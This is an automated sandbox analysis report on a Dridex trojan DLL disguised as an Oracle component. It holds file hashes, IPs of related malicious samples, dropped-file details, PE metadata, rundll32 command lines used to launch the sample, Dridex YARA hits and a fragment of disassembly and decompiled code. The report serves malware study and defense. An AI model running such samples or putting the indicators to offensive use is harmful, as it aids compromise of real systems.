                                                                                                                                            triage_dropped_file.dllGet hashmaliciousBrowse
                                                                                                                                            • 85.10.248.28
                                                                                                                                            SecuriteInfo.com.BehavesLike.Win32.Drixed.hc.23689.dllGet hashmaliciousBrowse
                                                                                                                                            • 85.10.248.28
                                                                                                                                            SecuriteInfo.com.W32.AIDetect.malware1.26365.dllGet hashmaliciousBrowse
                                                                                                                                            • 85.10.248.28
                                                                                                                                            SecuriteInfo.com.W32.AIDetect.malware1.11362.dllGet hashmaliciousBrowse
                                                                                                                                            • 85.10.248.28
                                                                                                                                            SecuriteInfo.com.W32.AIDetect.malware1.23460.dllGet hashmaliciousBrowse
                                                                                                                                            • 85.10.248.28
                                                                                                                                            UGDLmAm2UI.exeGet hashmaliciousBrowse
                                                                                                                                            • 176.9.111.171
                                                                                                                                            SecuriteInfo.com.W32.AIDetect.malware1.23460.dllGet hashmaliciousBrowse
                                                                                                                                            • 85.10.248.28
                                                                                                                                            Positive_Result_75184731.xlsGet hashmaliciousBrowse
                                                                                                                                            • 85.10.248.28
                                                                                                                                            SecuriteInfo.com.W32.AIDetect.malware1.4295.dllGet hashmaliciousBrowse
                                                                                                                                            • 85.10.248.28

                                                                                                                                            JA3 Fingerprints

                                                                                                                                            No context

                                                                                                                                            Dropped Files

                                                                                                                                            No context

                                                                                                                                            Created / dropped Files

                                                                                                                                            C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_rundll32.exe_e288dc6ab8ca5a035f13ca982cf0804f04fb5_82810a17_1870e234\Report.wer
                                                                                                                                            Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                            File Type:Little-endian UTF-16 Unicode text, with CRLF line terminators
                                                                                                                                            Category:dropped
                                                                                                                                            Size (bytes):65536
                                                                                                                                            Entropy (8bit):0.9235346194783932
                                                                                                                                            Encrypted:false
                                                                                                                                            SSDEEP:192:XB/iP0oXF/HBUZMX4jed++/u7suS274ItWc:x/ixXF/BUZMX4jeD/u7suX4ItWc
                                                                                                                                            MD5:79B6682DFDC3181A6CACB79BD3FA4F0C
                                                                                                                                            SHA1:4BF051547A2C3256AE29DE40EBF0EBCC9D98BF13
                                                                                                                                            SHA-256:ACBBA9DEE061A9455FA170215AF272C66E560FB4B669506EDC97DB40FDDC6E61
                                                                                                                                            SHA-512:64406CA400A2CDEF0F8C4BC1AD19688E33E8423AA0D1F6B938E744B5945526C809CA94A141B0E952A567EBD823DFC710627EC74BD9598D805B0043C1239DDA5C
                                                                                                                                            Malicious:false
                                                                                                                                            Reputation:low
                                                                                                                                            Preview: ..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.2.8.4.7.2.1.8.1.3.3.6.3.3.7.1.0.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.2.8.4.7.2.1.8.1.7.5.1.9.5.9.6.1.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.7.e.c.b.4.7.d.d.-.a.e.8.0.-.4.8.7.8.-.b.e.1.d.-.8.8.2.c.e.3.d.c.4.0.a.b.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.a.b.5.a.b.5.5.e.-.1.4.e.3.-.4.a.1.b.-.b.1.5.8.-.5.0.b.e.7.6.3.b.3.d.b.5.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.r.u.n.d.l.l.3.2...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.R.U.N.D.L.L.3.2...E.X.E.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.b.b.8.-.0.0.0.1.-.0.0.1.c.-.b.b.e.2.-.2.b.4.a.d.7.f.7.d.7.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.b.c.c.5.d.c.3.2.2.2.0.3.4.d.3.f.2.5.7.f.1.f.d.3.5.8.8.9.e.5.b.e.9.0.f.0.9.
                                                                                                                                            C:\ProgramData\Microsoft\Windows\WER\Temp\WERCB8F.tmp.dmp
                                                                                                                                            Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                            File Type:Mini DuMP crash report, 14 streams, Thu Dec 23 08:30:14 2021, 0x1205a4 type
                                                                                                                                            Category:dropped
                                                                                                                                            Size (bytes):45580
                                                                                                                                            Entropy (8bit):2.103974861176703
                                                                                                                                            Encrypted:false
                                                                                                                                            SSDEEP:192:ZtvaEcwN2uMO5Skbn8frsgr484B3EQp8c7WVIGxeM3hn:GLm5Lb84grYB3JZ7kIGxr
                                                                                                                                            MD5:86337529B331211FA9589CDC55E5144F
                                                                                                                                            SHA1:5F3ECD037714191ECCE4DF483AF8129DC6002F34
                                                                                                                                            SHA-256:E2032069DF2BB60D00B0B84785CEC36B30A2904CA116F65E2D3281D8F7898A82
                                                                                                                                            SHA-512:95C9B5C443ACB86FD8B5AF9D9746CC698E8AE7F8954FD123CBF77D024F69CE14C5B37B82F5DA6196322F07C9EE380D105DEBA66E2259220977F8BFC9125933BA
                                                                                                                                            Malicious:false
                                                                                                                                            Reputation:low
                                                                                                                                            Preview: MDMP....... ........3.a.........................................-..........T.......8...........T...............D............................................................................................U...........B...... .......GenuineIntelW...........T............3.a.............................0..=...............P.a.c.i.f.i.c. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................P.a.c.i.f.i.c. .D.a.y.l.i.g.h.t. .T.i.m.e...........................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.....................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                                                                            C:\ProgramData\Microsoft\Windows\WER\Temp\WERD2C4.tmp.WERInternalMetadata.xml
                                                                                                                                            Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                            File Type:XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators
                                                                                                                                            Category:dropped
                                                                                                                                            Size (bytes):8330
                                                                                                                                            Entropy (8bit):3.6974259901928446
                                                                                                                                            Encrypted:false
                                                                                                                                            SSDEEP:192:Rrl7r3GLNiVD67zdG6Ymy6WgmfTSSICpra89buDsf+sam:RrlsNiR6E6Yz6WgmfTSSTuof+Q
                                                                                                                                            MD5:06462DE20DE7AA72DC680695BBD2CB81
                                                                                                                                            SHA1:DDB6AC6FE7454F56E090863434958FD3B472F6AE
                                                                                                                                            SHA-256:79EE07AD40F8F1017B1DB5EF1803E828C25222ED277CC81C7DB8FF9D1BD5F0A2
                                                                                                                                            SHA-512:D4E76D9907F4F7EE9AFDF04687421C9634E1098FEC634337896E6674CF6641F25146EB20AE76B3C4081D22606A43004F5584D13DD031CD7E3003BE424ACA6B61
                                                                                                                                            Malicious:false
                                                                                                                                            Reputation:low
                                                                                                                                            Preview: ..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.0.9.6.<./.P.i.d.>.......
                                                                                                                                            C:\ProgramData\Microsoft\Windows\WER\Temp\WERD526.tmp.xml
                                                                                                                                            Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                            File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                                                                                                            Category:dropped
                                                                                                                                            Size (bytes):4702
                                                                                                                                            Entropy (8bit):4.506337630379623
                                                                                                                                            Encrypted:false
                                                                                                                                            SSDEEP:48:cvIwSD8zs/JgtWI9mCfWSC8BQ8fm8M4JCdsQhF6+q8/BB34SrSchd:uITfhtCOSNnJNyDW4d
                                                                                                                                            MD5:E6F405FE59C3769DA137D1AE9E5B8C90
                                                                                                                                            SHA1:5721BF06A543A4E6DDFD8E6391F0E2A61E9F40F9
                                                                                                                                            SHA-256:1338F4FC815713CCC9B4ADC83B4AE1B5F7EBF933C4C3B3F7D89B42414394306D
                                                                                                                                            SHA-512:8B89FD9A2AA7B429C5E99A0963E504218BD2A3FE5C00C47F001AE42B14D1CA769BCF65CCE95595D0A104C035212B9D67CC3D5731078F724B1FDA6A20006A404F
                                                                                                                                            Malicious:false
                                                                                                                                            Reputation:low
                                                                                                                                            Preview: <?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="1310020" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..
                                                                                                                                            C:\Windows\appcompat\Programs\Amcache.hve
                                                                                                                                            Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                            File Type:MS Windows registry file, NT/2000 or above
                                                                                                                                            Category:dropped
                                                                                                                                            Size (bytes):1572864
                                                                                                                                            Entropy (8bit):4.276661789486948
                                                                                                                                            Encrypted:false
                                                                                                                                            SSDEEP:12288:N9Lv0GkJt5pTFelNQ17kWdr/ljglw5HRUJZgkIvdISrsB9fi3/rbut:7Lv0GkJt5pTFel2p
                                                                                                                                            MD5:E1326BC98DB9BF21A19CE753070DA36F
                                                                                                                                            SHA1:EB8D3DE9A89246CED6874620F816EC1CCA9A1898
                                                                                                                                            SHA-256:47F436C3254B23C411FF6EFC690869AE77ABBEBF57F01C049003BC0A72CB7930
                                                                                                                                            SHA-512:1BBFE06CB6FF4915F71F8E6C70887C55B23432BF4AE9EEDFC13696317C6D8C2D03A292CB5411D7327D21984AE599DD771A6F83139D7C04DE28EC842475F2B2EB
                                                                                                                                            Malicious:false
                                                                                                                                            Reputation:low
                                                                                                                                            Preview: regfZ...Z...p.\..,.................. ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e...4............E.4............E.....5............E.rmtm...M................................................................................................................................................................................................................................................................................................................................................5..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                                                                            C:\Windows\appcompat\Programs\Amcache.hve.LOG1
                                                                                                                                            Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                            File Type:MS Windows registry file, NT/2000 or above
                                                                                                                                            Category:dropped
                                                                                                                                            Size (bytes):24576
                                                                                                                                            Entropy (8bit):4.0338934242540665
                                                                                                                                            Encrypted:false
                                                                                                                                            SSDEEP:384:+Yvn5Rftx1xPJ4XCsFcnE7kuPBqXhSeq5QMVyi6+/el4Lk4vZd1DoXznYXvwvt:7v5Rftx1RJ4XXFcE7DBqXoeq5QMVyi6N
                                                                                                                                            MD5:8F51F8B9540D9B4AAF4A5F8E4C1E84CD
                                                                                                                                            SHA1:A12AF53A973FE073265446B2862EFC7424A44718
                                                                                                                                            SHA-256:FDCA0807886A2D19584BDC4A08757E6278302F5A3BBB58CD81614B776DD477CA
                                                                                                                                            SHA-512:3889E00E9334AED3D8E72D4B368A0881D463FE41C34231E7C9758234C543CB424AC0101763AB5A6100E414DA45F9B1221CF895EFDDFC263A9C09AE5635DD6531
                                                                                                                                            Malicious:false
                                                                                                                                            Reputation:low
                                                                                                                                            Preview: regfY...Y...p.\..,.................. ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e...4............E.4............E.....5............E.rmtm...M................................................................................................................................................................................................................................................................................................................................................3..HvLE.^......Y............Y.0.).:I8<LN.I..........0................... ..hbin................p.\..,..........nk,...M........(........................... ...........................&...{ad79c032-a2ea-f756-e377-72fb9332c3ae}......nk ...M........ ........................... .......Z.......................Root........lf......Root....nk ...M.....................}.............. ...............*...............DeviceCensus.......................vk..................WritePermissionsCheck...

                                                                                                                                            Static File Info

                                                                                                                                            General

                                                                                                                                            File type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                                            Entropy (8bit):7.220307012367601
                                                                                                                                            TrID:
                                                                                                                                            • Win32 Dynamic Link Library (generic) (1002004/3) 99.60%
                                                                                                                                            • Generic Win/DOS Executable (2004/3) 0.20%
                                                                                                                                            • DOS Executable Generic (2002/1) 0.20%
                                                                                                                                            • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                                                                                                            File name:SecuriteInfo.com.ML.PE-A+Troj.Dridex-AJA.19171.dll
                                                                                                                                            File size:565248
                                                                                                                                            MD5:5ca09f4e3e8adcf9755415f40a43e89b
                                                                                                                                            SHA1:5c57296e6c7f36156fe2062db0719b67383548d9
                                                                                                                                            SHA256:b9dac63c888f98e13799568be23d934cc5e929b1e71282b3eb5c83d3cbf21e7a
                                                                                                                                            SHA512:df66970e65d0362ed083ce105b38db040befd78a3cad6fd350ee4fa123e0afc94897a113878bc94047a5b86697682d4a14e0a8122c4ab55bc0aff422c851f130
                                                                                                                                            SSDEEP:12288:qnYoMi8KFy86zc86boq67oy6zq86xoG6V2C6FoE69oI6Vo8mHo06zo8knoz5fU56:qiI0+2OJIjTR
                                                                                                                                            File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........R...<...<...<..k....<...=.S.<.=.....<.......<.......<.t.?...<.t.=.4.<.L.9...<.t...0.<..k....<..0..x.<.......<..1....<..k....<

                                                                                                                                            File Icon

                                                                                                                                            Icon Hash:74f0e4ecccdce0e4

                                                                                                                                            Static PE Info

                                                                                                                                            General

                                                                                                                                            Entrypoint:0x10004cd0
                                                                                                                                            Entrypoint Section:.rdata
                                                                                                                                            Digitally signed:false
                                                                                                                                            Imagebase:0x10000000
                                                                                                                                            Subsystem:windows gui
                                                                                                                                            Image File Characteristics:32BIT_MACHINE, EXECUTABLE_IMAGE, DLL
                                                                                                                                            DLL Characteristics:DYNAMIC_BASE, NX_COMPAT
                                                                                                                                            Time Stamp:0x61C34004 [Wed Dec 22 15:11:00 2021 UTC]
                                                                                                                                            TLS Callbacks:
                                                                                                                                            CLR (.Net) Version:
                                                                                                                                            OS Version Major:5
                                                                                                                                            OS Version Minor:0
                                                                                                                                            File Version Major:5
                                                                                                                                            File Version Minor:0
                                                                                                                                            Subsystem Version Major:5
                                                                                                                                            Subsystem Version Minor:0
                                                                                                                                            Import Hash:6c630f89c340001062a2ada6a2273a4d

                                                                                                                                            Entrypoint Preview

                                                                                                                                            Instruction
                                                                                                                                            inc eax
                                                                                                                                            mov edx, 00000003h
                                                                                                                                            cmpps xmm1, xmm0, 02h
                                                                                                                                            add edx, 04h
                                                                                                                                            add edx, 04h
                                                                                                                                            add edx, 04h
                                                                                                                                            add edx, 04h
                                                                                                                                            add edx, 04h
                                                                                                                                            add edx, 04h
                                                                                                                                            add edx, 04h
                                                                                                                                            add edx, 04h
                                                                                                                                            add edx, 04h
                                                                                                                                            add edx, 04h
                                                                                                                                            add edx, 04h
                                                                                                                                            add edx, 04h
                                                                                                                                            add edx, 04h
                                                                                                                                            add edx, 04h
                                                                                                                                            add edx, 04h
                                                                                                                                            add edx, 04h
                                                                                                                                            add edx, 04h
                                                                                                                                            add edx, 04h
                                                                                                                                            add edx, 04h
                                                                                                                                            add edx, 04h
                                                                                                                                            add edx, 04h
                                                                                                                                            add edx, 04h
                                                                                                                                            add edx, 04h
                                                                                                                                            jmp 00007F1DECB209A1h
                                                                                                                                            int3
                                                                                                                                            int3
                                                                                                                                            int3
                                                                                                                                            int3
                                                                                                                                            int3
                                                                                                                                            int3
                                                                                                                                            int3
                                                                                                                                            int3
                                                                                                                                            int3
                                                                                                                                            int3
                                                                                                                                            int3
                                                                                                                                            int3
                                                                                                                                            push ebp
                                                                                                                                            mov ebp, esp
                                                                                                                                            push edi
                                                                                                                                            push ebx
                                                                                                                                            push esi
                                                                                                                                            and esp, FFFFFFF8h
                                                                                                                                            sub esp, 00000080h
                                                                                                                                            mov eax, dword ptr [ebp+08h]
                                                                                                                                            mov ecx, 113CF852h
                                                                                                                                            xor edx, edx
                                                                                                                                            mov esi, dword ptr [esp+78h]
                                                                                                                                            mov edi, esi
                                                                                                                                            xor edi, 0342D826h
                                                                                                                                            mov dword ptr [esp+78h], edi
                                                                                                                                            mov byte ptr [esp+77h], 00000043h
                                                                                                                                            mov dword ptr [esp+64h], 113CF852h
                                                                                                                                            mov word ptr [esp+4Ah], FE51h
                                                                                                                                            mov dword ptr [esp+34h], eax
                                                                                                                                            mov dword ptr [esp+30h], ecx
                                                                                                                                            mov dword ptr [esp+2Ch], edx
                                                                                                                                            mov dword ptr [esp+28h], esi
                                                                                                                                            call 00007F1DECB24253h
                                                                                                                                            mov ecx, eax
                                                                                                                                            mov edx, eax
                                                                                                                                            mov esi, dword ptr [eax+3Ch]
                                                                                                                                            mov edi, eax
                                                                                                                                            add edi, esi
                                                                                                                                            mov ebx, dword ptr [esp+68h]
                                                                                                                                            mov dword ptr [esp+24h], eax
                                                                                                                                            mov eax, dword ptr [esp+00h]

                                                                                                                                            Rich Headers

                                                                                                                                            Programming Language:
                                                                                                                                            • [IMP] VS2015 UPD1 build 23506
                                                                                                                                            • [C++] VS2012 UPD1 build 51106
                                                                                                                                            • [ASM] VS2012 build 50727
                                                                                                                                            • [ASM] VS2012 UPD2 build 60315
                                                                                                                                            • [LNK] VS2010 SP1 build 40219
                                                                                                                                            • [EXP] VS2010 SP1 build 40219
                                                                                                                                            • [RES] VS2015 UPD1 build 23506
                                                                                                                                            • [IMP] VS2010 build 30319
                                                                                                                                            • [ASM] VS2015 UPD1 build 23506
                                                                                                                                            • [C++] VS2017 v15.5.4 build 25834
                                                                                                                                            • [EXP] VS2012 UPD4 build 61030
                                                                                                                                            • [C++] VS2008 build 21022
                                                                                                                                            • [ASM] VS2010 SP1 build 40219

                                                                                                                                            Data Directories

                                                                                                                                            NameVirtual AddressVirtual Size Is in Section
                                                                                                                                            IMAGE_DIRECTORY_ENTRY_EXPORT0x80f490x60.rdata
                                                                                                                                            IMAGE_DIRECTORY_ENTRY_IMPORT0x80fac0x78.rdata
                                                                                                                                            IMAGE_DIRECTORY_ENTRY_RESOURCE0x890000x2f0.rsrc
                                                                                                                                            IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                                                                                                            IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                                                                                                            IMAGE_DIRECTORY_ENTRY_BASERELOC0x8a0000x1174.reloc
                                                                                                                                            IMAGE_DIRECTORY_ENTRY_DEBUG0x60300x38.rdata
                                                                                                                                            IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                                                                                            IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                                                                                            IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                                                                                                            IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                                                                                                            IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                                                                                            IMAGE_DIRECTORY_ENTRY_IAT0x80000x44.rdata
                                                                                                                                            IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                                                                                                            IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                                                                                                            IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                                                                                                            Sections

                                                                                                                                            NameVirtual AddressVirtual SizeRaw SizeXored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                                                                                            .rdata0x10000x6eac0x7000False0.381382533482data4.37837175078IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
                                                                                                                                            .rdata0x80000x7916e0x7a000False0.283385229892data7.33168916922IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                                                            .data0x820000x62ec0x5000False0.247509765625data5.01040935971IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
                                                                                                                                            .rsrc0x890000x2f00x1000False0.09033203125data0.788492020975IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                                                            .reloc0x8a0000x11740x2000False0.242309570312data4.16996433109IMAGE_SCN_TYPE_COPY, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                                                                                                                                            Resources

                                                                                                                                            NameRVASizeTypeLanguageCountry
                                                                                                                                            RT_VERSION0x890600x290MS Windows COFF PA-RISC object fileEnglishUnited States

                                                                                                                                            Imports

                                                                                                                                            DLLImport
                                                                                                                                            WINSPOOL.DRVEnumFormsW
                                                                                                                                            KERNEL32.dllIsDebuggerPresent, GetModuleHandleW, GetModuleFileNameW, CloseHandle, GetFileSize, OutputDebugStringA
                                                                                                                                            WS2_32.dllWSACleanup
                                                                                                                                            ADVAPI32.dllQueryServiceStatusEx, AccessCheck, RegCloseKey
                                                                                                                                            USER32.dllGetWindowTextA

                                                                                                                                            Version Infos

                                                                                                                                            DescriptionData
                                                                                                                                            OriginalFilenameIha.dll
                                                                                                                                            FileDescriptionOracle Call Interface
                                                                                                                                            FileVersion2.3.7.0.0
                                                                                                                                            Legal CopyrightCopyright Oracle Corporation 1979, 2001. All rights reserved.
                                                                                                                                            CompanyNameOracle Corporation
                                                                                                                                            Translation0x0409 0x04b0

                                                                                                                                            Possible Origin

                                                                                                                                            Language of compilation systemCountry where language is spokenMap
                                                                                                                                            EnglishUnited States

                                                                                                                                            Network Behavior

                                                                                                                                            No network behavior found

                                                                                                                                            Code Manipulations

                                                                                                                                            Statistics

                                                                                                                                            CPU Usage

                                                                                                                                            Click to jump to process

                                                                                                                                            Memory Usage

                                                                                                                                            Click to jump to process

                                                                                                                                            High Level Behavior Distribution

                                                                                                                                            Click to dive into process behavior distribution

                                                                                                                                            Behavior

                                                                                                                                            Click to jump to process

                                                                                                                                            System Behavior

                                                                                                                                            General

                                                                                                                                            Start time:00:30:05
                                                                                                                                            Start date:23/12/2021
                                                                                                                                            Path:C:\Windows\System32\loaddll32.exe
                                                                                                                                            Wow64 process (32bit):true
                                                                                                                                            Commandline:loaddll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.ML.PE-A+Troj.Dridex-AJA.19171.dll"
                                                                                                                                            Imagebase:0xd90000
                                                                                                                                            File size:116736 bytes
                                                                                                                                            MD5 hash:7DEB5DB86C0AC789123DEC286286B938
                                                                                                                                            Has elevated privileges:true
                                                                                                                                            Has administrator privileges:true
                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                            Yara matches:
                                                                                                                                            • Rule: JoeSecurity_Dridex_1, Description: Yara detected Dridex unpacked file, Source: 00000002.00000002.684498846.000000006EBD1000.00000020.00020000.sdmp, Author: Joe Security
                                                                                                                                            Reputation:moderate

                                                                                                                                            General

                                                                                                                                            Start time:00:30:06
                                                                                                                                            Start date:23/12/2021
                                                                                                                                            Path:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                            Wow64 process (32bit):true
                                                                                                                                            Commandline:cmd.exe /C rundll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.ML.PE-A+Troj.Dridex-AJA.19171.dll",#1
                                                                                                                                            Imagebase:0xd80000
                                                                                                                                            File size:232960 bytes
                                                                                                                                            MD5 hash:F3BDBE3BB6F734E357235F4D5898582D
                                                                                                                                            Has elevated privileges:true
                                                                                                                                            Has administrator privileges:true
                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                            Reputation:high

                                                                                                                                            General

                                                                                                                                            Start time:00:30:06
                                                                                                                                            Start date:23/12/2021
                                                                                                                                            Path:C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                            Wow64 process (32bit):true
                                                                                                                                            Commandline:rundll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.ML.PE-A+Troj.Dridex-AJA.19171.dll",#1
                                                                                                                                            Imagebase:0x80000
                                                                                                                                            File size:61952 bytes
                                                                                                                                            MD5 hash:D7CA562B0DB4F4DD0F03A89A1FDAD63D
                                                                                                                                            Has elevated privileges:true
                                                                                                                                            Has administrator privileges:true
                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                            Yara matches:
                                                                                                                                            • Rule: JoeSecurity_Dridex_1, Description: Yara detected Dridex unpacked file, Source: 00000005.00000002.319816001.000000006EBD1000.00000020.00020000.sdmp, Author: Joe Security
                                                                                                                                            • Rule: JoeSecurity_Dridex_1, Description: Yara detected Dridex unpacked file, Source: 00000005.00000000.289027157.000000006EBD1000.00000020.00020000.sdmp, Author: Joe Security
                                                                                                                                            • Rule: JoeSecurity_Dridex_1, Description: Yara detected Dridex unpacked file, Source: 00000005.00000000.293983549.000000006EBD1000.00000020.00020000.sdmp, Author: Joe Security
                                                                                                                                            Reputation:high

                                                                                                                                            General

                                                                                                                                            Start time:00:30:11
                                                                                                                                            Start date:23/12/2021
                                                                                                                                            Path:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                            Wow64 process (32bit):true
                                                                                                                                            Commandline:C:\Windows\SysWOW64\WerFault.exe -u -p 7096 -s 672
                                                                                                                                            Imagebase:0x920000
                                                                                                                                            File size:434592 bytes
                                                                                                                                            MD5 hash:9E2B8ACAD48ECCA55C0230D63623661B
                                                                                                                                            Has elevated privileges:true
                                                                                                                                            Has administrator privileges:true
                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                            Reputation:high

                                                                                                                                            Disassembly

                                                                                                                                            Code Analysis

                                                                                                                                            Reset < >

                                                                                                                                              Executed Functions

                                                                                                                                              C-Code - Quality: 83%
                                                                                                                                              			E6EBE0730(void* __ecx) {
                                                                                                                                              				void* __ebx;
                                                                                                                                              				void* __esi;
                                                                                                                                              				void* __ebp;
                                                                                                                                              				intOrPtr _t155;
                                                                                                                                              				signed char* _t159;
                                                                                                                                              				char _t162;
                                                                                                                                              				void* _t180;
                                                                                                                                              				intOrPtr _t189;
                                                                                                                                              				char _t190;
                                                                                                                                              				intOrPtr _t196;
                                                                                                                                              				intOrPtr _t200;
                                                                                                                                              				void* _t203;
                                                                                                                                              				void* _t212;
                                                                                                                                              				void* _t213;
                                                                                                                                              				void* _t215;
                                                                                                                                              				void* _t216;
                                                                                                                                              				void* _t223;
                                                                                                                                              				void* _t238;
                                                                                                                                              				void* _t241;
                                                                                                                                              				void* _t244;
                                                                                                                                              				void* _t247;
                                                                                                                                              				void* _t250;
                                                                                                                                              				void* _t254;
                                                                                                                                              				void* _t259;
                                                                                                                                              				void* _t265;
                                                                                                                                              				void* _t268;
                                                                                                                                              				int _t271;
                                                                                                                                              				void* _t272;
                                                                                                                                              				void* _t276;
                                                                                                                                              				void* _t277;
                                                                                                                                              				void* _t278;
                                                                                                                                              				void* _t282;
                                                                                                                                              				int _t288;
                                                                                                                                              				intOrPtr* _t291;
                                                                                                                                              				signed char _t294;
                                                                                                                                              				signed char _t295;
                                                                                                                                              				intOrPtr* _t320;
                                                                                                                                              				intOrPtr* _t325;
                                                                                                                                              				intOrPtr* _t363;
                                                                                                                                              				char _t364;
                                                                                                                                              				intOrPtr* _t372;
                                                                                                                                              				void* _t377;
                                                                                                                                              				void* _t382;
                                                                                                                                              				void* _t383;
                                                                                                                                              				void* _t384;
                                                                                                                                              				void* _t385;
                                                                                                                                              				void* _t386;
                                                                                                                                              				void* _t387;
                                                                                                                                              				void* _t393;
                                                                                                                                              				void* _t395;
                                                                                                                                              				void* _t401;
                                                                                                                                              				void* _t403;
